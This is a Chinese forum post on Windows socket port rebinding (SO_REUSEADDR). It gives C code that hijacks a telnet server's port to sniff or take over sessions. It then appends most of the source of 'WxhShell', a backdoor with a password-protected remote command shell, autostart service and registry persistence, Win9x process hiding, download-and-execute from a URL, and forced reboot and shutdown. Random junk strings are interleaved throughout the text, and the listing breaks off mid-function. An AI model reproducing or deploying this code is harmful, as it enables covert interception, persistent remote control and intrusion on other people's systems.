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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q9q9<J7j$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AeQC:  
/Mx CvEE  
  saddr.sin_family = AF_INET; Gx|Dql  
k>-'AWH^v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3G(skphE  
d<?X3&J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [Ekgft&  
,whM22Af~{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a;yV#Y  
.lG +a!)  
  这意味着什么?意味着可以进行如下的攻击: 3H <`Z4;  
gyg|Tno  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8fEAYRGd  
)#mW7m9M#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N$ *>suQ,  
#nDL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?e2Y`0  
$"(3MnR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K1 6s)S'  
DW4MA<UQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ; ?j~8  
2nYiG)tg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N~0$x,bR  
U(8I+xZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 81cv:|"  
eKS:7:X  
  #include %Ln?dF+  
  #include " gwm23Rpj  
  #include Je@p5(f  
  #include    <vO8_2,V-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?WMi S]Q\  
  int main() ( / G)"]  
  { ~c9vdK  
  WORD wVersionRequested; 7Im}~3NJG  
  DWORD ret; i"ck`6v"8  
  WSADATA wsaData; ]Oig ..LJ  
  BOOL val; OcLg3.:L  
  SOCKADDR_IN saddr; ?Of{c,2 .  
  SOCKADDR_IN scaddr; +q 4W0  
  int err; Vl&+/-V  
  SOCKET s; k-;.0!D^  
  SOCKET sc; $Cut  
  int caddsize; t=AE7  
  HANDLE mt; 44g`=o@  
  DWORD tid;   LZ3rr-  
  wVersionRequested = MAKEWORD( 2, 2 ); tOu90gu  
  err = WSAStartup( wVersionRequested, &wsaData ); %'$cH$%~J  
  if ( err != 0 ) { cob9hj#&7  
  printf("error!WSAStartup failed!\n"); |F8;+nAVF#  
  return -1; v GulM<YY  
  } ~x76{.gT  
  saddr.sin_family = AF_INET; >Lo6='G  
   (e>RNn\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8HHgN`_  
S]Yu6FtWiO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  oaH+c9v  
  saddr.sin_port = htons(23); 9F-ViDI.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \emT:Frb  
  { 3ZT/>a>@  
  printf("error!socket failed!\n"); :*^(OnIe  
  return -1; c"oQ/x  
  } P\Pc/[ Z7  
  val = TRUE; z+5u/t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (2hk <  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6x`\ J2x  
  { PaU@T!v  
  printf("error!setsockopt failed!\n"); [rD+8,zVm  
  return -1; %-0em!tUV  
  } :BC<+T=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 61t-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zEA{%)W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n?7hp%}  
YGZAtSf3z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7.F& {:@_  
  { z[<pi :  
  ret=GetLastError(); 1.u gXD  
  printf("error!bind failed!\n"); U)T/.L{0i  
  return -1; \?p9qR;"4  
  } Nys'4kx7  
  listen(s,2); gFH;bZU  
  while(1) ).O\O)K  
  { SIyS.!k>  
  caddsize = sizeof(scaddr); } SWA|x  
  //接受连接请求 4w3V!K8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iNaC ZC  
  if(sc!=INVALID_SOCKET) ~-o^eI4_  
  { J OL Z2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^.><t+tM  
  if(mt==NULL) P(W\aLp  
  { ? ><   
  printf("Thread Creat Failed!\n"); ix_$Ok  
  break; joSr,'x  
  } z; z'`A  
  } N5I W@?4  
  CloseHandle(mt); o*5e14W(:  
  } c^q O@%s  
  closesocket(s); P PIG?fK)  
  WSACleanup(); d}6AHS[  
  return 0; |Jx2"0:M  
  }   =kZwB*7  
  DWORD WINAPI ClientThread(LPVOID lpParam) @,f,tk=\S  
  {  +T8XX@#  
  SOCKET ss = (SOCKET)lpParam; E&Zx]?~  
  SOCKET sc; L-oPb)  
  unsigned char buf[4096]; bNPjefBF  
  SOCKADDR_IN saddr; }E\+e!'!2  
  long num; .ubbNp_LU  
  DWORD val; 5eZg+ O  
  DWORD ret; Z+pvdu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZkV vL4yIK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e]y=]}A3{  
  saddr.sin_family = AF_INET; c Dh4@V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T_|fb)G+{  
  saddr.sin_port = htons(23); N*4IxY'vX/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2/<WWfX'  
  { &>^Ympr  
  printf("error!socket failed!\n"); g he=mQ-  
  return -1; C Wl95g  
  } _ZE$\5>-  
  val = 100; 5]O LV1Xt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ph!NY i,  
  { %:8q7PN|  
  ret = GetLastError(); Nv$gKC6 ,G  
  return -1; )T~ +>+t  
  } sOtNd({  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /)OO)B-r  
  { |$*9j""u  
  ret = GetLastError(); VBj;2~Xj4h  
  return -1; wP *a>a  
  } 1*`JcUn,>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'H-YFB$l  
  { PI<s5bns {  
  printf("error!socket connect failed!\n"); F#C6.`B  
  closesocket(sc); Sy7^;/(ZZ  
  closesocket(ss); V?=zuB?'  
  return -1; Env}gCX  
  } c3 ]^f6)?  
  while(1) T/.y(8!0I8  
  { B(T4 nH_k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9(gOk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .Im+()b&&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WiCM,wDi  
  num = recv(ss,buf,4096,0); ENF@6]  
  if(num>0) :zy'hu;  
  send(sc,buf,num,0); $">NW& i(  
  else if(num==0) z\ $>k_  
  break; rVW'KN  
  num = recv(sc,buf,4096,0); qk{UO <  
  if(num>0) H;8]GE2n  
  send(ss,buf,num,0); +?g,&NE  
  else if(num==0) >qGR^yvb  
  break; TVh7h`Eg  
  } 03jBN2[!  
  closesocket(ss); F[giq 1#  
  closesocket(sc); %cif0Td  
  return 0 ; $GK m`I"  
  } ?4||L8j2^  
?mUu(D:7D  
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========================================================== b4OR`dd*J  
DG FvRB  
下边附上一个代码,,WXhSHELL @+vTGjHA  
 &\br_  
========================================================== 5"]2@@b4  
e-av@a3  
#include "stdafx.h" M!i5StGC  
&H>dE]Hq,  
#include <stdio.h> $ T_EsnN  
#include <string.h> c<x6_H6[8  
#include <windows.h> 51'SA B09  
#include <winsock2.h> -k{R<L  
#include <winsvc.h> [|Pe'?zkf  
#include <urlmon.h> Hmd:>_[f  
&;3z 1s/  
#pragma comment (lib, "Ws2_32.lib") "x^bl+_"  
#pragma comment (lib, "urlmon.lib") #9"_|d=l  
^( VB5p  
#define MAX_USER   100 // 最大客户端连接数 N!~NQ-Re'  
#define BUF_SOCK   200 // sock buffer $yK!Q)e:  
#define KEY_BUFF   255 // 输入 buffer 9m9=O&C~-<  
 e) (|  
#define REBOOT     0   // 重启 <TuSU[]  
#define SHUTDOWN   1   // 关机 F}[;ytmUS  
>Tx;<G  
#define DEF_PORT   5000 // 监听端口 Br!&Y9  
b(Xg6  
#define REG_LEN     16   // 注册表键长度 3?(p;  
#define SVC_LEN     80   // NT服务名长度 $8}'6,  
jU~%5R  
// 从dll定义API :.Sc[UI0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F'*&-l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ![tI(TPq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); { "c,P:S]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?@(H. D6'v  
wQ^a2$Z  
// wxhshell配置信息 \LXC269  
struct WSCFG {  8[OiG9b  
  int ws_port;         // 监听端口  (RS:_]  
  char ws_passstr[REG_LEN]; // 口令 SLo/7$rct  
  int ws_autoins;       // 安装标记, 1=yes 0=no =h;!#ZC  
  char ws_regname[REG_LEN]; // 注册表键名 vsR ^aVwVZ  
  char ws_svcname[REG_LEN]; // 服务名 E9hWn0 e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N8vl< Mq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .D`#a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M8}M*\2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PBv43uIL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i6kyfOI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d`/{0:F  
[\yI<^_a  
}; OpE+e4~IF  
[_-K  
// default Wxhshell configuration KA#-X2U/  
struct WSCFG wscfg={DEF_PORT, 0k 8SDRWU  
    "xuhuanlingzhe", O=/Tx2i;  
    1, Of=z!|l2  
    "Wxhshell", s#[Ej&2[=  
    "Wxhshell", R[;Z<K\Nn?  
            "WxhShell Service", opC11c/  
    "Wrsky Windows CmdShell Service", gjV&X N  
    "Please Input Your Password: ", \tqAv'jA|  
  1, 3R><AFMY?  
  "http://www.wrsky.com/wxhshell.exe", @Q!j7I  
  "Wxhshell.exe" L\[jafb_`  
    }; urB.K<5ZA  
{xX|5/z  
// 消息定义模块 4J1Q])G9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =$Z'F<|d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E=d[pI,e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C*!_. <b  
char *msg_ws_ext="\n\rExit."; @C2<AmY9q*  
char *msg_ws_end="\n\rQuit."; M ~IiJ9{  
char *msg_ws_boot="\n\rReboot..."; y=Hl~ev`9  
char *msg_ws_poff="\n\rShutdown..."; ;xc  
char *msg_ws_down="\n\rSave to "; K\q/JuDfc  
n'H\*9t  
char *msg_ws_err="\n\rErr!"; P +SCX#{y  
char *msg_ws_ok="\n\rOK!"; ? 6l::M  
F t}tIP7  
char ExeFile[MAX_PATH]; N\?iU8w=  
int nUser = 0; t-Wn@a  
HANDLE handles[MAX_USER]; ORoraEK  
int OsIsNt; Fk4 3sqU6~  
cPXvT Vvs  
SERVICE_STATUS       serviceStatus; e_TM#J(3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @b zrJ 7$  
WJ*DWyd''  
// 函数声明 '9)@U+yfQ  
int Install(void); %WNy=V9txp  
int Uninstall(void); @'<|B. f  
int DownloadFile(char *sURL, SOCKET wsh); c2nZd.SD|  
int Boot(int flag); lVdExR>H  
void HideProc(void); -~q]0>  
int GetOsVer(void); vC7sJIch2<  
int Wxhshell(SOCKET wsl); 8/CGg_C1  
void TalkWithClient(void *cs); jd{J3s '%  
int CmdShell(SOCKET sock); sw1XN?O  
int StartFromService(void); *;m721#  
int StartWxhshell(LPSTR lpCmdLine); <O WPG,  
[D)A+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ziOmmL(r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !ZVMx*1Cf  
gLH(Wr~(a  
// 数据结构和表定义 M3V[p9>  
SERVICE_TABLE_ENTRY DispatchTable[] = sDiYm}W  
{ w-2]69$k  
{wscfg.ws_svcname, NTServiceMain}, 4u&doSXR  
{NULL, NULL} ;@L#0  
}; TuU.yvkU  
(GV6%l#I  
// 自我安装 )mEF_ &  
int Install(void) 01Aa.i^d(  
{ QUNsS9  
  char svExeFile[MAX_PATH]; 5~kf:U%~  
  HKEY key; O ?4V($  
  strcpy(svExeFile,ExeFile); m0P5a%D  
|'.SOm9)*  
// 如果是win9x系统,修改注册表设为自启动 mF1oY[xa_  
if(!OsIsNt) { 09"~<W8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ov9.qNT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E.}Zmr#H  
  RegCloseKey(key); J 4gIkZD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^K"`k43{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oGM.{\i  
  RegCloseKey(key); 0nS6<:  
  return 0; itP_Vxo/H  
    } >Cf`F{X' U  
  } T \AuL  
} '>6-ie^0  
else { C@[:}ZGMV  
fZZ!kea[  
// 如果是NT以上系统,安装为系统服务 kC+A7k6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 23=;v@  
if (schSCManager!=0) U +]ab  
{ }PXWRv.gW  
  SC_HANDLE schService = CreateService 3EFk] X  
  ( \DHCf 4,  
  schSCManager, kO.rgW82  
  wscfg.ws_svcname, x6,RW],FGR  
  wscfg.ws_svcdisp, uYl ?Q  
  SERVICE_ALL_ACCESS, h{m]n!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [bcqaT  
  SERVICE_AUTO_START, <Z&gAqj 2  
  SERVICE_ERROR_NORMAL, k\[2o  
  svExeFile, "mOoGy, (  
  NULL, i et|\4A  
  NULL, ,&k 5Qq  
  NULL, e7;]+pN]J  
  NULL, yG_#>3sD+%  
  NULL WULj@ds\~  
  );  w&-r  
  if (schService!=0) F ^\v`l,  
  { 0'~ ?u'  
  CloseServiceHandle(schService); j]P|iL  
  CloseServiceHandle(schSCManager); _% P%~`?!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); & dS+!<3  
  strcat(svExeFile,wscfg.ws_svcname); rS jC/O&b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 52~k:"c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZN?(lt)u9  
  RegCloseKey(key); m/ukH{H1%  
  return 0; xXbW6aI"  
    } ~}5(J,1!  
  } ]gEfm~YV  
  CloseServiceHandle(schSCManager); iN><m|  
} r=k}EP&<  
} #B?7{#.1  
(tz! "K  
return 1; kju:/kYA  
} yTEuf@  
oM VJ+#[x  
// 自我卸载 I@\{6hw  
int Uninstall(void) 3o?Lz7L  
{ >5j/4Ly  
  HKEY key; &>/nYvuq-  
lL^7x  
if(!OsIsNt) { ^?A+`1-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E|TzrH  
  RegDeleteValue(key,wscfg.ws_regname); 3ty){#:  
  RegCloseKey(key); }_;nl n?t(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :JS} (  
  RegDeleteValue(key,wscfg.ws_regname); NanU%# &  
  RegCloseKey(key); %Xi%LUk{  
  return 0; `Ctj]t  
  } Ac54 VN  
} NX; &V7  
} V]AL'}( 0  
else { o#Y1Uamkf  
X*~YCF[_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y6s$.93  
if (schSCManager!=0) {\e}43^9N  
{ HfF$>Z'kM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qL#R XUTP  
  if (schService!=0) S6QG:|#P  
  { n>Ei1  
  if(DeleteService(schService)!=0) { }u&JX  
  CloseServiceHandle(schService); &td#m"wI  
  CloseServiceHandle(schSCManager); f[RnL#*xJU  
  return 0; 3LmHH =  
  } %Xl@o  
  CloseServiceHandle(schService); AM[:Og S  
  }  fwEi//1  
  CloseServiceHandle(schSCManager); d !H)voX  
} " duJl-  
} Nm~#$orI|  
`et<Z  
return 1; %9lxE[/  
} +M*a.ra0OF  
nAzr!$qbNv  
// 从指定url下载文件 u v5@Alm  
int DownloadFile(char *sURL, SOCKET wsh) e#('`vGB  
{ UOwNcY  
  HRESULT hr; #q- _  
char seps[]= "/"; <wC1+/]  
char *token; Q ZlUUj\  
char *file; pr"flRQr#  
char myURL[MAX_PATH]; FuKNH~MevQ  
char myFILE[MAX_PATH];  b\2"1m0H  
!xI![N^  
strcpy(myURL,sURL); 55,-1tWs  
  token=strtok(myURL,seps); lg1D>=(mY  
  while(token!=NULL) tTgW^&B  
  { ,3j7Y5v  
    file=token; *"ShE=\p  
  token=strtok(NULL,seps); bhmjH(.t  
  } =m:W  
{@A2jk\  
GetCurrentDirectory(MAX_PATH,myFILE); Z ux2VepT  
strcat(myFILE, "\\"); v,0DGR~  
strcat(myFILE, file); #k)\e;,X  
  send(wsh,myFILE,strlen(myFILE),0); B^9 #X5!  
send(wsh,"...",3,0); H<;j&\$q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5*$Zfuf  
  if(hr==S_OK) [_d*J/X  
return 0; ]@YQi<d2^  
else $b} +5  
return 1; V*}zwm s6  
b G)MG0<TT  
} 3:Wr)>l}#  
mQd?Tyvn  
// 系统电源模块 Q_.Fw\l$`  
int Boot(int flag) /3]|B%W9  
{ "=.|QKC1`  
  HANDLE hToken;  Dfia=1A  
  TOKEN_PRIVILEGES tkp; =*jcO119L  
ub5hX{uT  
  if(OsIsNt) { u#~! %~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ziimz}WHF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `@7tWX0  
    tkp.PrivilegeCount = 1; Umg81!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9DX3]Z\7X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q;.]e#wvh  
if(flag==REBOOT) { 7`HUwu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UmX[=D|  
  return 0; 4a!7|}W  
} ;!?K.,N:N  
else { ,np`:fBMy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4sjr\9IDC  
  return 0; :g#it@  
} J_ |x^  
  } "~C#DZwt{  
  else { R"`{E,yj  
if(flag==REBOOT) { !`o:+Gg@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (L%q/$  
  return 0; T0%TeFY  
} <|3v@  
else { G6{A[O[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MXk. 2  
  return 0; 30+l0\1  
} WG}CPkj  
} "B3:m-'  
9X9zIh]JV  
return 1; u 7Y< ~  
} `e>F<{ M6@  
MmH_gR  
// win9x进程隐藏模块 jMui+G(h  
void HideProc(void) 1Z8Oh_D C  
{  iLcadX  
^jjJM|a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a9zph2o-  
  if ( hKernel != NULL ) +WN>9V0H  
  { R(N(@KC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <<5 :zlb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5|G3t`$pa  
    FreeLibrary(hKernel); Z !25xqNCd  
  } xWz;5=7a]  
I@Z*Nu1L  
return; m_02"'  
} qbq<O %g=  
iv z?-X4]  
// 获取操作系统版本 vLFaZ^(  
int GetOsVer(void) {-N90Oe  
{ 'ag6B(0Z  
  OSVERSIONINFO winfo; I5yd )72  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GL =XiBt  
  GetVersionEx(&winfo); 3hf ;4Mb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,9tbu!Pvq  
  return 1; aU<D$I  
  else _q$LrAT  
  return 0; A='+tJa  
} GHC?Tp   
 vs])%l%t  
// 客户端句柄模块 x$?7)F&z  
int Wxhshell(SOCKET wsl) u4,X.3V]A  
{ D7WI(j\  
  SOCKET wsh; MRg\FR 2>1  
  struct sockaddr_in client; P[I*%  
  DWORD myID; /z)3gsF  
?WQd  
  while(nUser<MAX_USER) r>:L$_]L  
{ A6UdWK  
  int nSize=sizeof(client); !E {GcK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YUVc9PV)Ws  
  if(wsh==INVALID_SOCKET) return 1;  J"Y   
OT}Yr9h4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .W@4vrp@  
if(handles[nUser]==0) Pm#x?1rAj  
  closesocket(wsh); Q_]!an(  
else E/8u'  
  nUser++; Z"n'/S:q  
  } o~o6S=4,}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2Z;`#{  
\5_P5q:`  
  return 0; *pb:9JKi  
} k99gjL`  
v(Bp1~PPZM  
// 关闭 socket SGBVR^  
void CloseIt(SOCKET wsh) Cb )=n6  
{ fY%M=,t3c  
closesocket(wsh); (o*e<y,}W  
nUser--; L* k hj3;  
ExitThread(0); 9QOr,~~s  
} BA1MGh  
;h,R?mU  
// 客户端请求句柄 oP=T6PX~l  
void TalkWithClient(void *cs) UVT >7  
{ zJfK4o  
j(Fa=pi  
  SOCKET wsh=(SOCKET)cs; OAW=Pozr9  
  char pwd[SVC_LEN]; |6sT,/6  
  char cmd[KEY_BUFF]; (0OSGG9  
char chr[1]; %$ir a\ sM  
int i,j; 462!;/ y  
VBbUl|X\  
  while (nUser < MAX_USER) { nszpG1U:  
g{A3W) [ b  
if(wscfg.ws_passstr) { W$JY M3!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 42Aje  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -SQJH}zCT+  
  //ZeroMemory(pwd,KEY_BUFF); v:veV.y  
      i=0; qPXANx<^  
  while(i<SVC_LEN) { u Q:ut(  
UM4 @H1  
  // 设置超时 y3={NB+  
  fd_set FdRead; kZU"Xn  
  struct timeval TimeOut; ^i{,z*vi  
  FD_ZERO(&FdRead); [^?13xMb  
  FD_SET(wsh,&FdRead); LKR==;qn  
  TimeOut.tv_sec=8; yfSiByU  
  TimeOut.tv_usec=0; |`_ <@b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A+0T"2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?G4iOiyt  
FasI'Ulk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K,x$c %  
  pwd=chr[0]; d3EjI6R*z  
  if(chr[0]==0xd || chr[0]==0xa) { Y H<$ +U  
  pwd=0; S}zC3  
  break; U9<_6Bsd  
  } /{fZH,!L  
  i++; ?)!SmN/  
    } !: m`9o8  
H/^ ~<U#p  
  // 如果是非法用户,关闭 socket 5h|'DO x|o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]~?S~l%  
} D-Bv(/Pz]$  
CCuxC9i7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dzgs%qtK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gXq!a|eH  
#C"7 l6'a  
while(1) { r> Fec  
- ,R0IGS  
  ZeroMemory(cmd,KEY_BUFF); ge^!F>whr  
f|X[gL,B  
      // 自动支持客户端 telnet标准   SW3wMPy&s  
  j=0; *w=z~Jq^R"  
  while(j<KEY_BUFF) { OfD@\;L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qzz[y#q(  
  cmd[j]=chr[0]; uAp -$?  
  if(chr[0]==0xa || chr[0]==0xd) { &\&'L|0F  
  cmd[j]=0; 'GrRuT<  
  break; .KFA218h*x  
  } nA>*IU[  
  j++; k |^vCZ<(x  
    } :0B |<~lX  
NV:>a  
  // 下载文件 UV?[d:\>'  
  if(strstr(cmd,"http://")) { H9sZR>(^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d0'7efC+  
  if(DownloadFile(cmd,wsh)) n49;Z,[~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u06tDJ[  
  else +<gg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DD2adu^  
  } =nLO?qoe  
  else { 5 RW@_%C  
,(6)ghr  
    switch(cmd[0]) { g+igxC}2z  
  :eSc;  
  // 帮助 L?C\Q^0"`G  
  case '?': { % =y;L:S\p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NK8<= n%"  
    break; 4/b(Y4$,[r  
  } P2O\!'aEh  
  // 安装 N A8 sN  
  case 'i': { x,w8r+~5  
    if(Install()) yGRR8F5>(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `q^(SM  
    else WmNA5;<Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ih; aBS  
    break; 1bd$XnU  
    } nQ|GqU\oA  
  // 卸载 i)=m7i  
  case 'r': { 87pnSj/X"  
    if(Uninstall()) en%J!<&W{K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]7*kWc2  
    else tbg*_ZQO u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iZC>)&ax  
    break; \/n+j!  
    } _wmI(+_  
  // 显示 wxhshell 所在路径 2.ew^D#  
  case 'p': { rjXnDh]MC  
    char svExeFile[MAX_PATH]; aFyh,  
    strcpy(svExeFile,"\n\r"); h 5Hr[E1  
      strcat(svExeFile,ExeFile); B& "RS  
        send(wsh,svExeFile,strlen(svExeFile),0); *-6?  
    break; #vtN+E  
    } "$r 1$mBi  
  // 重启 w;~>k%}j  
  case 'b': { ndqckT@93  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C\OECVT  
    if(Boot(REBOOT)) *<7l!#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ewpig4  
    else { RB IOdz  
    closesocket(wsh); yWNOG 2qAP  
    ExitThread(0); Oo1ecbY  
    } b;*c:{W)  
    break; RtwUb(wn6  
    } Xo\S9,s{  
  // 关机 f}2;N  
  case 'd': { _W}(!TKO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W tVf wC_  
    if(Boot(SHUTDOWN)) S@Iw;V  
